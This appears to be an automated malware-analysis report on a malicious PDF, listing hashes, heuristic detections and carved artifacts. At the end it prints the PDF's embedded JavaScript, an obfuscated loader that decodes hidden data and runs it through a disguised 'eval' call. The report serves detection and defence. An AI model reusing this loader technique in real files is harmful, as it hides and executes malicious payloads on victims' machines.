Malicious PDF — malware analysis report

Static analysis result for SHA-256 9b5c37545495f23e…

MALICIOUS

PDF

5.1 KB First seen: 2013-08-03
MD5: 2d32f7f9281bbc2d28aaf92574c2194c SHA-1: 3c1a20a7b9ec7474f6be11db2b6f1fc6dffe4f05 SHA-256: 9b5c37545495f23e787a6f7967064f852f84079b85d241961aee81e4db46fa9f
76 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The ML classifier strongly flags this PDF as malicious. An embedded file, 'embedded_file_obj0013.bin', was also extracted. The embedded JavaScript is likely responsible for exploiting a PDF vulnerability to download and execute the embedded file or another payload. The specific attack pattern is inferred from the presence of these components.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0013.bin pdf-embedded-file PDF EmbeddedFile object 13 at offset 0x425 108545 bytes
SHA-256: 0e7f5338dfb98f3a202c2772f2a42a8ce67c6aa24bf345f7ec5479ab49c60b8b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
256 of 256 identifiers look randomly generated (e.g. 'COw0TqXFaocPtF8b1COw0TqXFaocPtF8b2COw0Tq') — consistent with name-mangling obfuscation. Carved artifact contains 97 long base64-like blob(s).
javascript_obj0008_000.js pdf-javascript-stream PDF /JS object 8 at offset 0x1ED 230 bytes
SHA-256: 30730f7211a4326508ddb42f6ade15490f8aedd18900cefc39ff128ab006862e
Preview script
First 1,000 lines of the extracted script
zx1=this.getDataObjectContents("clown");zx2=util.stringFromStream(zx1, "utf-8");zx3="";for (i=0;i<zx2.length;i +=17){   zx3 +=zx2.charAt(i);}zx4="http://e"+"val/query?a=exemple&b=2";zx5=util.crackURL(zx4).cHost;this[zx5](zx3);